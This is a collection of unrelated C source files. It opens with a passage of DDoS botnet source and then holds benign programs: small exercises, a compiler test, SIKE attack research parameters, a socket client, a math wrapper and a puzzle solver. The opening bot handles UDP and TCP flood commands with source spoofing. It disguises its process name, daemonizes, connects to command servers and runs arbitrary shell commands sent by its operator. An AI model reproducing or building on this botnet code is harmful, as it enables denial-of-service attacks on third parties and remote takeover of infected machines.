if(strstr(ip, ",") != NULL)
{
unsigned char *hi = strtok(ip, ",");
while(hi != NULL)
{
if(!listFork())
{
sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
_exit(0);
}
hi = strtok(NULL, ",");
}
} else {
if (listFork()) { return; }
sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
_exit(0);
}
}
if(!strcmp(argv[0], "TCP"))
{
if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
{
//sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
return;
}
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
int spoofed = atoi(argv[4]);
unsigned char *flags = argv[5];
int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
int psize = argc > 6 ? atoi(argv[6]) : 0;
if(strstr(ip, ",") != NULL)
{
unsigned char *hi = strtok(ip, ",");
while(hi != NULL)
{
if(!listFork())
{
sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
_exit(0);
}
hi = strtok(NULL, ",");
}
} else {
if (listFork()) { return; }
sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
_exit(0);
}
}
if(!strcmp(argv[0], "KILLATTK"))
{
int killed = 0;
unsigned long i;
for (i = 0; i < numpids; i++) {
if (pids[i] != 0 && pids[i] != getpid()) {
kill(pids[i], 9);
killed++;
}
}
if(killed > 0)
{
sockprintf(mainCommSock, "Killed %d.", killed);
} else {
sockprintf(mainCommSock, "None Killed.");
}
}
if(!strcmp(argv[0], "LOLNOGTFO"))
{
exit(0);
}
}
int initConnection()
{
unsigned char server[4096];
memset(server, 0, 4096);
if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
else currentServer++;
strcpy(server, commServer[currentServer]);
int port = 6667;
if(strchr(server, ':') != NULL)
{
port = atoi(strchr(server, ':') + 1);
*((unsigned char *)(strchr(server, ':'))) = 0x0;
}
mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
return 0;
}
int getOurIP()
{
int sock = socket(AF_INET, SOCK_DGRAM, 0);
if(sock == -1) return 0;
struct sockaddr_in serv;
memset(&serv, 0, sizeof(serv));
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = inet_addr("8.8.8.8");
serv.sin_port = htons(53);
int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
if(err == -1) return 0;
struct sockaddr_in name;
socklen_t namelen = sizeof(name);
err = getsockname(sock, (struct sockaddr*) &name, &namelen);
if(err == -1) return 0;
ourIP.s_addr = name.sin_addr.s_addr;
int cmdline = open("/proc/net/route", O_RDONLY);
char linebuf[4096];
while(fdgets(linebuf, 4096, cmdline) != NULL)
{
if(strstr(linebuf, "\t00000000\t") != NULL)
{
unsigned char *pos = linebuf;
while(*pos != '\t') pos++;
*pos = 0;
break;
}
memset(linebuf, 0, 4096);
}
close(cmdline);
if(*linebuf)
{
int i;
struct ifreq ifr;
strcpy(ifr.ifr_name, linebuf);
ioctl(sock, SIOCGIFHWADDR, &ifr);
for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
}
close(sock);
}
int main(int argc, unsigned char *argv[])
{
char *mynameis = "[cpuset]";
if(SERVER_LIST_SIZE <= 0) return 0; //LOL PERSON WHO CONFIGURED DIS BOT IS RETARDED
argv[0] = "[cpuset]";
prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
srand(time(NULL) ^ getpid());
init_rand(time(NULL) ^ getpid());
pid_t pid1;
pid_t pid2;
int status;
getOurIP();
if (pid1 = fork()) {
waitpid(pid1, &status, 0);
exit(0);
} else if (!pid1) {
if (pid2 = fork()) {
exit(0);
} else if (!pid2) {
} else {
zprintf("fork failed\n");
}
} else {
zprintf("fork failed\n");
}
setsid();
chdir("/");
signal(SIGPIPE, SIG_IGN);
while(1)
{
if(initConnection()) { printf("FAILED TO CONNECT\n"); sleep(5); continue; }
char commBuf[4096];
int got = 0;
int i = 0;
while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
{
for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
unsigned int *newpids, on;
for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
pids[on - 1] = 0;
numpids--;
newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
for (on = 0; on < numpids; on++) newpids[on] = pids[on];
free(pids);
pids = newpids;
}
commBuf[got] = 0x00;
trim(commBuf);
if(strstr(commBuf, "PING") == commBuf)
{
sockprintf(mainCommSock, "PONG");
continue;
}
if(strstr(commBuf, "DUP") == commBuf) exit(0);
unsigned char *message = commBuf;
if(*message == '!')
{
unsigned char *nickMask = message + 1;
while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
if(*nickMask == 0x00) continue;
*(nickMask) = 0x00;
nickMask = message + 1;
message = message + strlen(nickMask) + 2;
while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
unsigned char *command = message;
while(*message != ' ' && *message != 0x00) message++;
*message = 0x00;
message++;
unsigned char *tmpcommand = command;
while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
if(strcmp(command, "SH") == 0)
{
unsigned char buf[1024];
int command;
if (listFork()) continue;
memset(buf, 0, 1024);
szprintf(buf, "%s 2>&1", message);
command = fdpopen(buf, "r");
while(fdgets(buf, 1024, command) != NULL)
{
trim(buf);
// sockprintf(mainCommSock, "%s", buf);
memset(buf, 0, 1024);
sleep(1);
}
fdpclose(command);
exit(0);
}
unsigned char *params[10];
int paramsCount = 1;
unsigned char *pch = strtok(message, " ");
params[0] = command;
while(pch)
{
if(*pch != '\n')
{
params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
memset(params[paramsCount], 0, strlen(pch) + 1);
strcpy(params[paramsCount], pch);
paramsCount++;
}
pch = strtok(NULL, " ");
}
processCmd(paramsCount, params);
if(paramsCount > 1)
{
int q = 1;
for(q = 1; q < paramsCount; q++)
{
free(params[q]);
}
}
}
}
printf("LINK CLOSED\n");
}
return 0;
}
|
the_stack_data/517268.c
|
#include <stdio.h>
int main(void) {
int br;
printf("Upisite peteroznamenkasti cijeli broj > ");
scanf("%d", &br);
if (br < 0) {
br *= -1;
}
if (br > 9999 && br < 100000) {
printf("Druga i predzadnja znamenka > %d %d\n", br / 1000 % 10,
br / 10 % 10);
} else {
printf("Nije unesen peteroznamenkasti cijeli broj.\n");
}
return 0;
}
|
the_stack_data/151744.c
|
/* { dg-do run } */
/* { dg-options "-O2" } */
__attribute__ ((noinline))
double direct(int x, ...)
{
return x*x;
}
__attribute__ ((noinline))
double broken(double (*indirect)(int x, ...), int v)
{
return indirect(v);
}
int main ()
{
double d1, d2;
int i = 2;
d1 = broken (direct, i);
if (d1 != i*i)
{
__builtin_abort ();
}
return 0;
}
|
the_stack_data/115766599.c
|
// Definition of instances to run attack on SIKE
// See instance.h for attempted explanations of values
#if defined(p_32_20)
#define NUM_INSTS_STATS 1
instance_t insts_stats[NUM_INSTS_STATS] = {
{.MODULUS = "p_32_20",
.e = 16,
.MEMORY_LOG_SIZE = 9,
.ALPHA = 2.25,
.BETA = 10.,
.GAMMA = 10.,
.PRNG_SEED = 1337,
.delta = 14,
.jinv = {0xB12094B4902203E9, 0x0, 0xD4A5907EE6A3B76E, 0x3},
.E = {
{
.a24 = {0xB3FDF7D5B1741A56, 0x9, 0x0, 0x0},
.xp = {0x8F158588B29F46E1, 0xC, 0x0, 0x0},
.xq = {0xFA19DF1C8EAD197C, 0x1, 0x0, 0x0},
.xpq = {0x6DDBBCFC44E623FC, 0xA, 0x36C7F83B0ACF3F26, 0x2},
},
{
.a24 = {0x47CCDC18F176DA0F, 0xB, 0x258EAF591E22A9D9, 0xC},
.xp = {0x54B3CCFE768D942A, 0x10, 0x9D3AFB97F123CF9C, 0x3},
.xq = {0x7DD78D0AD0110860, 0xA, 0xC66CF48514DE696, 0x9},
.xpq = {0xCF0882EE9857DF67, 0x1, 0x3F9C1C2698187875, 0xC},
}}}};
#elif defined(p_36_22)
#define NUM_INSTS_STATS 1
instance_t insts_stats[NUM_INSTS_STATS] = {
{.MODULUS = "p_36_22",
.e = 18,
.MEMORY_LOG_SIZE = 10,
.ALPHA = 2.25,
.BETA = 10.,
.GAMMA = 10.,
.PRNG_SEED = 1337,
.delta = 16,
.jinv = {0x746F73A9CFAA13E5, 0xC55, 0x7A1E90E1166968FA, 0x124},
.E = {
{
.a24 = {0xD1707E4C49EAFA66, 0x90C, 0x0, 0x0},
.xp = {0x682B62853F71D736, 0x4EA, 0x0, 0x0},
.xq = {0x9D038855DB13E7EC, 0xB15, 0x0, 0x0},
.xpq = {0x47F5F56308F748CF, 0x48A, 0x629A10A84F171B70, 0xDD8},
},
{
.a24 = {0x278AB12BB23B5554, 0x59B, 0xA2C752E877CD7B91, 0x72F},
.xp = {0xAECDC850C7C72C1C, 0xE23, 0xFC28CEDB420B686E, 0x25},
.xq = {0x8A2CDD104BA6C91D, 0x42A, 0xBD769AC24549DFB3, 0xC90},
.xpq = {0xC67C1B31A4C13D83, 0xDB6, 0xF73D3573EFEBD873, 0x7BD},
}}}};
#elif defined(p_40_25)
#define NUM_INSTS_STATS 1
instance_t insts_stats[NUM_INSTS_STATS] = {
{.MODULUS = "p_40_25",
.e = 20,
.MEMORY_LOG_SIZE = 11,
.ALPHA = 2.25,
.BETA = 10.,
.GAMMA = 10.,
.PRNG_SEED = 1337,
.delta = 18,
.jinv = {0xDCDA79107493A60A, 0xD2BCB, 0xACF7AE3B13E34AE0, 0x21E721},
.E = {
{
.a24 = {0xB632DF5BA1B1A3C2, 0xA69DD, 0x0, 0x0},
.xp = {0x4DAF1F61392F5978, 0x111534, 0x0, 0x0},
.xq = {0x2A0733AE45F486E6, 0xCCDD, 0x0, 0x0},
.xpq = {0x7B685371A07BDD29, 0x16007B, 0x3394CBA4AC4D1669, 0x1639A9},
},
{
.a24 = {0xDD49AF38B4A5BD2B, 0x4A582, 0x7DA18276D387564D, 0x1AF81},
.xp = {0x2F7960D7976D9066, 0x295049, 0x82B4DC6C6F260F50, 0x121939},
.xq = {0x69FAA7E927EC1D1C, 0x5C874, 0x2C1B68D7598EE25A, 0xEABCF},
.xpq = {0xCB694EDA553E1DCB, 0x25BD86, 0x698D1589EBAA7361, 0xCE136},
}}}};
#elif defined(p_44_27)
#define NUM_INSTS_STATS 1
instance_t insts_stats[NUM_INSTS_STATS] = {
{.MODULUS = "p_44_27",
.e = 22,
.MEMORY_LOG_SIZE = 13,
.ALPHA = 2.25,
.BETA = 10.,
.GAMMA = 10.,
.PRNG_SEED = 1337,
.delta = 20,
.jinv = {0xF200E1EE0FDD1CEE, 0x44FCD3F, 0xEE3E8A07A06102F8, 0x833572B},
.E = {
{
.a24 = {0xAEF2B01FEC7C2B43, 0x67D0C62, 0x0, 0x0},
.xp = {0xE7917ADAC796E5BE, 0x1B3835E, 0x0, 0x0},
.xq = {0xB32F06E2F2F9B968, 0xA8B7D4E, 0x0, 0x0},
.xpq = {0x349C821661D535DE, 0xE284648, 0x36ECA8D118DDDEEC, 0xE38204C},
},
{
.a24 = {0x43E40DE3BE321C03, 0xDB1E23B, 0x8E1D161268DD23BB, 0x7301A90},
.xp = {0x159511BA81BDA7E4, 0xDB9E694, 0xAD79E3569171FF09, 0x6EA4460},
.xq = {0x80C9939E1B2AF108, 0x52EB16D, 0xEC27F863ED06650, 0xAEED21C},
.xpq = {0xE91CB69C324419CE, 0x923924D, 0xCD4D1B2BE188798E, 0x5BCD1EF},
}}}};
#elif defined(p_48_30)
#define NUM_INSTS_STATS 1
instance_t insts_stats[NUM_INSTS_STATS] = {
{.MODULUS = "p_48_30",
.e = 24,
.MEMORY_LOG_SIZE = 13,
.ALPHA = 2.25,
.BETA = 10.,
.GAMMA = 20.,
.PRNG_SEED = 1337,
.delta = 22,
.jinv = {0xCC48007CE3F92495, 0x9D5F3252, 0x6A9760FC62F09CC6, 0x3DF6A7564},
.E = {
{
.a24 = {0x9B34000035D7CADC, 0x2D067C6D6, 0x0, 0x0},
.xp = {0x81F3BA5B80DE5856, 0x4D017C1B3, 0x0, 0x0},
.xq = {0xD688D1B7F720E1C2, 0x210E1D56, 0x0, 0x0},
.xpq = {0xB85CDE96B813AF66, 0x2489388F4, 0x9753943F2327FA08, 0x8AEE50590},
},
{
.a24 = {0xAC7E61694C2F8031, 0x8F2AF7734, 0x8FC8B3D625A83506, 0x907D1C380},
.xp = {0x8F7C2049E1D66F3A, 0x2D9B74B5A, 0xF1923BD1731245DE, 0x421399336},
.xq = {0x6359E499FFACD1B6, 0x719B99D4C, 0xC3CE850A228D5B35, 0x7D2C993DB},
.xpq = {0x525D110F50579B22, 0x5EBAF47C6, 0x16B8EFAB2B273200, 0x2379FD276},
}}}};
#elif defined(p_52_33)
#define NUM_INSTS_STATS 1
instance_t insts_stats[NUM_INSTS_STATS] = {
{.MODULUS = "p_52_33",
.e = 26,
.MEMORY_LOG_SIZE = 15,
.ALPHA = 2.25,
.BETA = 10.,
.GAMMA = 20.,
.PRNG_SEED = 1337,
.delta = 24,
.jinv = {0x2790EF26C30A65B9, 0x12AE60A14F1, 0x1F67789C2DDD404, 0x37F221A4DF},
.E = {
{
.a24 = {0x14000000019ECA40, 0xDE4179381C, 0x0, 0x0},
.xp = {0xAD5DA7F96CF82DE1, 0xD4B8333B0F, 0x0, 0x0},
.xq = {0xBD938564CA85B17D, 0x3B81D64F01, 0x0, 0x0},
.xpq = {0xD753B491F91EA1AA, 0xF0E0FCE1E0, 0xE4F1717E4FF80E0E, 0x1043D9F1AD0},
},
{
.a24 = {0xA3CE80974BD4E39E, 0xD6A6CFE11D, 0xF20E9C9A5140016F, 0xB50967C97B},
.xp = {0xB9AF1ABC9D77E33C, 0x7E93F6B3E9, 0x8CB58FA0F9FCFD01, 0xAAE038BD32},
.xq = {0xA82409AF60D29ADA, 0x13F6D71E2E, 0x27A9A4BFC09DDD0F, 0xE9671DCA2D},
.xpq = {0x31D1A3551D9903A2, 0x15E8C180AE, 0x91C0629C11FE8A8F, 0xDC33C005F7},
}}}};
#elif defined(p_56_35)
#define NUM_INSTS_STATS 1
instance_t insts_stats[NUM_INSTS_STATS] = {
{.MODULUS = "p_56_35",
.e = 28,
.MEMORY_LOG_SIZE = 17,
.ALPHA = 2.25,
.BETA = 10.,
.GAMMA = 20.,
.PRNG_SEED = 1337,
.delta = 26,
.jinv = {0xF94DBFFDE730026C, 0x38822BFA9B2A, 0x8ED014E0DEE94AAA, 0x14C2256BC3ACF6},
.E = {
{
.a24 = {0xB300000000000CEF, 0x21B78258721A32, 0x0, 0x0},
.xp = {0x3521549B7C3BEE30, 0x22CC84CEF03388, 0x0, 0x0},
.xq = {0x7F3B05BBB9D6C2C9, 0x271D257E8294AF, 0x0, 0x0},
.xpq = {0x82A623DB544A58FC, 0x8FFB669917274, 0x9984390F96F0F23F, 0xF80256D756419},
},
{
.a24 = {0x6AEF2342B54989A3, 0xD3DBE1E03FA63, 0x23DB2B18DFEE81FD, 0x265E708F91F504},
.xp = {0x370EC20A6C2E44ED, 0x1C8F14BCDF6E5C, 0x6D909B6A745ED39A, 0x1632490F91C258},
.xq = {0x13E120A2F17CD994, 0xA5529B41F0514, 0xEC58635622CF6BD0, 0x144BC06EF62BE8},
.xpq = {0x37E64D961854B095, 0x25540509740A6E, 0xA858D8E1577DFE08, 0x3CEE5D1A95380},
}}}};
#elif defined(p_60_38)
#define NUM_INSTS_STATS 1
instance_t insts_stats[NUM_INSTS_STATS] = {
{.MODULUS = "p_60_38",
.e = 30,
.MEMORY_LOG_SIZE = 19,
.ALPHA = 2.25,
.BETA = 10.,
.GAMMA = 20.,
.PRNG_SEED = 1337,
.delta = 28,
.jinv = {0x7619C456D882E9C0, 0x1DE8B2BDA5B4ECD4, 0xA2A31DBCB4597C4C, 0x202238936874C1E0},
.E = {
{
.a24 = {0x9000000000000007, 0x2C80370703624224, 0x0, 0x0},
.xp = {0x54A48B09C50C9B43, 0x2B2179279193081E, 0x0, 0x0},
.xq = {0x200E577A4F02D07E, 0x2329EB1D6DF9A3AA, 0x0, 0x0},
.xpq = {0x8650ADC664E1509, 0x83BAAFDAD981FED, 0xB896004D7F6D6A3D, 0x17A1C2123E9072FC},
},
{
.a24 = {0x300A9D0181270102, 0x3BF7234BAF20B0E4, 0x9FD726B5999DE44E, 0x41F1C4243BBF0CDB},
.xp = {0x7555564276CDDCE0, 0x247599AB4F4649C2, 0x31D5F38A470EAA1B, 0x851311AEA1D1104},
.xq = {0x267A9B8509F3DBD6, 0x146E850FF6D76AFA, 0x174D91453B8FFB66, 0x2B7FC7B463F5E5B9},
.xpq = {0xFF8C679CA032AFFC, 0x12A486F4308AC58, 0xDA25897EF73A1E7F, 0x2E21106A8F4063D9},
}}}};
#elif defined(p_91_57)
#define NUM_INSTS_STATS 1
instance_t insts_stats[NUM_INSTS_STATS] = {
{
.e = 23,
.MEMORY_LOG_SIZE = 10,
.ALPHA = 2.25,
.BETA = 10.,
.GAMMA = 20.,
.PRNG_SEED = 1337,
.delta = 21, // precomputation depth, delta < e, (e - delta - 2) = 0 mod 2
// "The solution" ??
.jinv = { 0x6BE8246542864A37, 0x11E362B039D68837, 0x9BC7A67DEEC54A2E },
//E[0] is "left curve" and E[1] is "right curve" in precomputation
.E = {
//We have yet to figure out how to find these curves
{
.a24 = { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 },
.xp = { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
.xq = { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
.xpq = { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
},
{
.a24 = { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
.xp = { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
.xq = { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
.xpq = { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
}}
}
};
#elif defined(p_216_137)
#define NUM_INSTS_STATS 1
instance_t insts_stats[NUM_INSTS_STATS] = {
{
// See page 22 of Costello et. al.
.e = 20,
.MEMORY_LOG_SIZE = 10,
.ALPHA = 2.25,
.BETA = 10.,
.GAMMA = 20.,
.PRNG_SEED = 1337,
.delta = 18,
.jinv = { 0x6BE8246542864A37, 0x11E362B039D68837, 0x9BC7A67DEEC54A2E, 0x4E6B64B48B589AA2, 0x4A904043E41FA41C, 0x61B809F34CAEF5E1, 0x44A755CAA245, 0xC739FAE5D5743D2C, 0x96F1175A33853137, 0x5FDED023029DBBE5, 0x14755F7F49BCAAA1, 0x4FD0FA75FD3CF48D, 0xC24C83D46D574891, 0x7F2CD7F534C3 },
.E = {
{
.a24 = { 0xE858, 0x0, 0x0, 0x721FE809F8000000, 0xB00349F6AB3F59A9, 0xD264A8A8BEEE8219, 0x1D9DD4F7A5DB5, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 },
.xp = { 0x88AEA34159076AB3, 0xA5A5CB1A903DA770, 0x16B33C999300B977, 0xAA7A6F7A88CC0624, 0xAC4EF004B7D84E09, 0x79475FE0A608CB5E, 0x1E8C483F1256F, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 },
.xq = { 0x3BF57331DB10FDB2, 0x936F70C4C619C7B7, 0x3D4081EE4B1462B7, 0x10E9214AB8DC1FF4, 0x35B8DB8454A82F1C, 0x706C9F7736811583, 0xBF6E146508AA, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 },
.xpq = { 0xE94179134A7F2DE2, 0x6673CCEC7252249, 0xC79527DE95BA4360, 0xBAC76DFBDD10CE6C, 0x3CB9CA27612F8DF9, 0xBD318A5642CD294B, 0x185034C4A42D4, 0x5BD15E78CE28EC15, 0x98241F00AA5B8A13, 0x50FCBE39A343C4EF, 0x9C76C679526A6D11, 0xF7D3C1F044C57564, 0x3FEC6B54113419CD, 0x1FC45E1431738 },
},
{
.a24 = { 0x605AB9CC9FE6D6C7, 0xA678D2205581290F, 0xDA9DB6845C7FF497, 0x50E7879BBD30A0D7, 0x6CA3F575A8D37E0, 0x1DB395D4FF2CF06C, 0xFF7843A8619E, 0x4B5DD216D07D18F5, 0x4E859F9552292A7, 0xA5286F0ABA23D855, 0xEA106E29AB43E8CC, 0xDDE55AE059796CB5, 0xF38271742C3F4D60, 0x216CD896D147E },
.xp = { 0x8ACB2783EDA6DC9D, 0xEB56FB79524430BE, 0x208FDFEB6C1FD415, 0xDCC2151B31FDE4B1, 0x486A4DA86559C4, 0xC5EFB5657A70D23E, 0xF3CB72FA9794, 0x64159D2D589F624F, 0x7A4608160FB91307, 0x4A6B884DD9FADEA7, 0xB6F8DD1D2550239B, 0x5EA96959DDF5842F, 0x9C7D7A752F62F5B3, 0x502789C15A1F },
.xq = { 0x47508122C6E97FD0, 0x19DE7CCF3CAA0F6, 0xC7582D8790F47019, 0x8985C3D827BB6082, 0x66357E0A90FFA2CF, 0x62FD9BE26798AC17, 0x10F698EF0D685, 0xD27C4F3371BFAA23, 0x7FEE588FFF7CBFC7, 0xA676C1D8A4DA3538, 0x34D1CF8255FC237C, 0xB43D2E5596CFCB8C, 0x3BB14A9F8E79A87D, 0x140C5E7827394 },
.xpq = { 0xF14246746D3FA1A4, 0x405E0AD8A0BB8679, 0x114A7CADA7AB5622, 0xEBADA4555948A5AE, 0x9AAEEA436BECC7EA, 0xFDB141A820D06FD3, 0x20B51F1D11838, 0xE6401E60DE1457A8, 0xB9F23BE75F5345D4, 0x870F9FA720D2BE41, 0x2E83BCBABE5DD1F4, 0xFB51FF83BE75B656, 0x29E127B33C211135, 0x85F1D1056A67 },
}}
}
};
#endif
|
the_stack_data/1237972.c
|
/*
* Copyright (c) 2019 Maksymilian Mruszczak <u at one u x dot o r g>
*
* Simplified sockets client-side API implementation
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <poll.h>
enum {
ON_MESSG,
ON_CLOSE,
ON_STDIN
};
typedef struct Conn Conn;
struct Conn {
struct sockaddr_in addr;
struct pollfd pfd[2];
void (*on_messg)(Conn *, const char *, unsigned int);
void (*on_close)(Conn *, const char *, unsigned int);
void (*on_stdin)(Conn *, const char *, unsigned int);
};
Conn *
client_dial(const char *saddr, unsigned int port)
{
static socklen_t slen = (socklen_t)sizeof(struct sockaddr_in);
Conn *conn = (Conn *)calloc(1, sizeof(Conn));
if (!conn)
return conn;
conn->on_messg = NULL;
conn->on_close = NULL;
conn->on_stdin = NULL;
conn->pfd[0].fd = -1;
conn->pfd[0].events = POLLIN;
conn->pfd[1].fd = socket(AF_INET, SOCK_STREAM, 0);
conn->pfd[1].events = POLLIN;
if (conn->pfd[1].fd < 0) {
perror("Failed to create socket!");
free(conn);
return NULL;
}
conn->addr.sin_family = AF_INET;
conn->addr.sin_addr.s_addr = inet_addr(saddr);
conn->addr.sin_port = htons(port);
if (connect(conn->pfd[1].fd, (struct sockaddr *)&conn->addr, slen) < 0) {
perror("Failed to connex!");
free(conn);
return NULL;
}
fcntl(conn->pfd[1].fd, F_SETFL, O_NONBLOCK);
return conn;
}
void
client_poll(Conn *conn, int timeout)
{
poll(conn->pfd, 2, timeout);
if ((conn->pfd[0].revents & POLLIN) && conn->on_stdin != NULL) {
static char buf[1024]; // tmp
bzero((void *)buf, 1024);
read(conn->pfd[0].fd, buf, 1024);
(*conn->on_stdin)(conn, buf, 1024);
// TODO handle stdin
}
if ((conn->pfd[1].revents & POLLIN) && conn->on_messg != NULL) {
static char buf[1024]; // tmp
bzero((void *)buf, 1024);
if (recv(conn->pfd[1].fd, buf, 1024, 0))
(*conn->on_messg)(conn, buf, 1024);
else {
perror("Lost connexion with server");
conn->pfd[1].fd = -1;
if (conn->on_close != NULL)
(*conn->on_close)(conn, NULL, 0);
}
}
}
void
client_send(Conn *conn, const char *msg, unsigned int len)
{
// TODO maybe some checks
if (len > 1024) {
perror("Message too long");
return;
}
send(conn->pfd[1].fd, msg, len, 0);
}
void
client_bind(Conn *conn, int event, void (*fn)(Conn *, const char *, unsigned int))
{
switch (event) {
case ON_MESSG:
conn->on_messg = fn;
break;
case ON_CLOSE:
conn->on_close = fn;
break;
case ON_STDIN:
conn->on_stdin = fn;
if (fn == NULL)
conn->pfd[0].fd = -1;
else
conn->pfd[0].fd = fileno(stdin);
break;
}
}
void
client_close(Conn *conn)
{
close(conn->pfd[1].fd);
bzero((void *)conn, sizeof(Conn));
free(conn);
}
int
client_alive(Conn *conn)
{
if (!conn)
return 0;
if (conn->pfd[1].fd < 0)
return 0;
return 1;
}
|
the_stack_data/90761954.c
|
#include <stdio.h>
#include <string.h>
int main () {
int i, j;
int matriz[4][4] = {{0, 1, 2, 2}, // 00, 01, 02, 03
{3, 4, 5, 5}, // 10, 11, 12, 13
{6, 7, 8, 8}}; // 20, 21, 22, 23
for(i = 0; i < 4; i++) {
printf("%do LOOP\n i = %d\n", i+1, i);
for(j = 0; j < 4; j++) {
printf("%d ", matriz[i][j]);
}
printf("\n");
}
return 0;
}
|
the_stack_data/187642516.c
|
/*
* Generated with test/generate_buildtest.pl, to check that such a simple
* program builds.
*/
#include <openssl/opensslconf.h>
#ifndef OPENSSL_NO_STDIO
# include <stdio.h>
#endif
#ifndef OPENSSL_NO_ECDSA
# include <openssl/ecdsa.h>
#endif
int main(void)
{
return 0;
}
|
the_stack_data/47031.c
|
/*
* POK header
*
* The following file is a part of the POK project. Any modification should
* be made according to the POK licence. You CANNOT use this file or a part
* of a file for your own project.
*
* For more information on the POK licence, please see our LICENCE FILE
*
* Please follow the coding guidelines described in doc/CODING_GUIDELINES
*
* Copyright (c) 2007-2020 POK team
*/
/* @(#)w_log10.c 5.1 93/09/24 */
/*
* ====================================================
* Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved.
*
* Developed at SunPro, a Sun Microsystems, Inc. business.
* Permission to use, copy, modify, and distribute this
* software is freely granted, provided that this notice
* is preserved.
* ====================================================
*/
#ifdef POK_NEEDS_LIBMATH
/*
* wrapper log10(X)
*/
#include "math_private.h"
#include <libm.h>
double log10(double x) /* wrapper log10 */
{
#ifdef _IEEE_LIBM
return __ieee754_log10(x);
#else
double z;
z = __ieee754_log10(x);
if (_LIB_VERSION == _IEEE_ || isnan(x))
return z;
if (x <= 0.0) {
if (x == 0.0)
return __kernel_standard(x, x, 18); /* log10(0) */
else
return __kernel_standard(x, x, 19); /* log10(x<0) */
} else
return z;
#endif
}
#endif
|
the_stack_data/60777.c
|
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MMAX 2048
#define NMAX 2048
#define AT(i, j) ((i) * (NMAX) + (j))
#define MAX(x, y) ((x) > (y) ? (x) : (y))
static size_t
foldx(char *matrix, size_t m, size_t n, size_t coord)
{
size_t i, j;
for (i = 0; i < m; ++i)
for (j = coord + 1; j < n; ++j)
if (matrix[AT(i, j)] == '#')
matrix[AT(i, coord - (j - coord))] = '#';
return coord;
}
static size_t
foldy(char *matrix, size_t m, size_t n, size_t coord)
{
size_t i, j;
for (i = coord + 1; i < m; ++i)
for (j = 0; j < n; ++j)
if (matrix[AT(i, j)] == '#')
matrix[AT(coord - (i - coord), j)] = '#';
return coord;
}
int
main(void)
{
char buf[2048] = {'\0'}, *tok, axis;
char *matrix = malloc(MMAX * NMAX * sizeof(char));
int dots = 1;
size_t i, x, y, coord, mmax = 0, nmax = 0;
for (i = 0; i < MMAX * NMAX; ++i)
matrix[i] = '.';
while (!feof(stdin)) {
if (fgets(buf, sizeof(buf), stdin)) {
if (buf[0] == '\n') {
dots = 0;
mmax++;
nmax++;
continue;
}
if (dots) {
if (!(tok = strtok(buf, ","))) {
fprintf(stderr, "cannot parse token1\n");
exit(EXIT_FAILURE);
}
errno = 0;
x = (size_t) strtol(tok, NULL, 10);
if (errno) {
fprintf(stderr, "cannot parse x\n");
exit(EXIT_FAILURE);
}
if (!(tok = strtok(NULL, "\n"))) {
fprintf(stderr, "cannot parse token2\n");
exit(EXIT_FAILURE);
}
errno = 0;
y = (size_t) strtol(tok, NULL, 10);
if (errno) {
fprintf(stderr, "cannot parse y\n");
exit(EXIT_FAILURE);
}
matrix[AT(y, x)] = '#';
mmax = MAX(mmax, y);
nmax = MAX(nmax, x);
} else {
if (!(tok = strtok(buf, " "))) {
fprintf(stderr, "cannot tokenize a fold\n");
exit(EXIT_FAILURE);
}
if (!(tok = strtok(NULL, " "))) {
fprintf(stderr, "cannot tokenize a fold\n");
exit(EXIT_FAILURE);
}
if (!(tok = strtok(NULL, "="))) {
fprintf(stderr, "cannot tokenize a fold axis\n");
exit(EXIT_FAILURE);
}
axis = tok[0];
if (!(tok = strtok(NULL, "\n"))) {
fprintf(stderr, "cannot tokenize a fold coordinate\n");
exit(EXIT_FAILURE);
}
errno = 0;
coord = (size_t) strtol(tok, NULL, 10);
if (errno) {
fprintf(stderr, "cannot parse a fold coordinate\n");
exit(EXIT_FAILURE);
}
switch (axis) {
case 'x':
nmax = foldx(matrix, mmax, nmax, coord);
break;
case 'y':
mmax = foldy(matrix, mmax, nmax, coord);
break;
